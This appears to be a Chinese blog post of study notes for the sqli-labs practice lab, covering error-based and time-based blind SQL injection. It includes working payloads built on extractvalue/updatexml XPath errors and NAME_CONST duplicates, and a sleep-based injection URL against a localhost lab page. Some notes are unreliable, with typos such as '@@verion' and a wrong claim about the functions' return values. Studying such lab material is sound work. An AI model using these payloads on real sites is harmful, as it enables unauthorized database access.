sqlilabs_盲注之布尔和报错
知识点补充:
extractvalue和upadatexml 函数返回ture or false
extractvalue语法: extractvalue(目标xml文档,xml路径)>>通过xml路径语法错误实现sql报错注入
upadatexml语法: updatexml(XML_DOCUMENT,XPATH_STRING,NEW_VALUE);
第一个参数:XML_DOCUMENT是STRING格式,为XML文档对象的名称
第二个参数:xPATCH_string(Xpath格式的字符串)
第三个参数:new_value,Stirng格式,替换查找到的符合条件的数据。作用改变文档中符合条件的节点值
concat():拼接不同列内容,分行
group_concat():拼接不同列内容,整合为一行
0x01 基于报错的SQL盲注
构造payload使得所需信息通过错误回显
1. Xpath函数报错
extractvalue函数payloadextractvalue(1,concat(0x7e,(select @@verion),0x7e))
updatexml函数payloadupdatexml(1,concat(0x7e,(select @@version),0x7e),1)
2. 数据重复性错误
payload:select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x
0x02 延时注入
利用sleep()函数进行注入
IF(a,b,c):如果a为真执行b,为假执行c
payload:http://127.0.0.1/sqllib/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!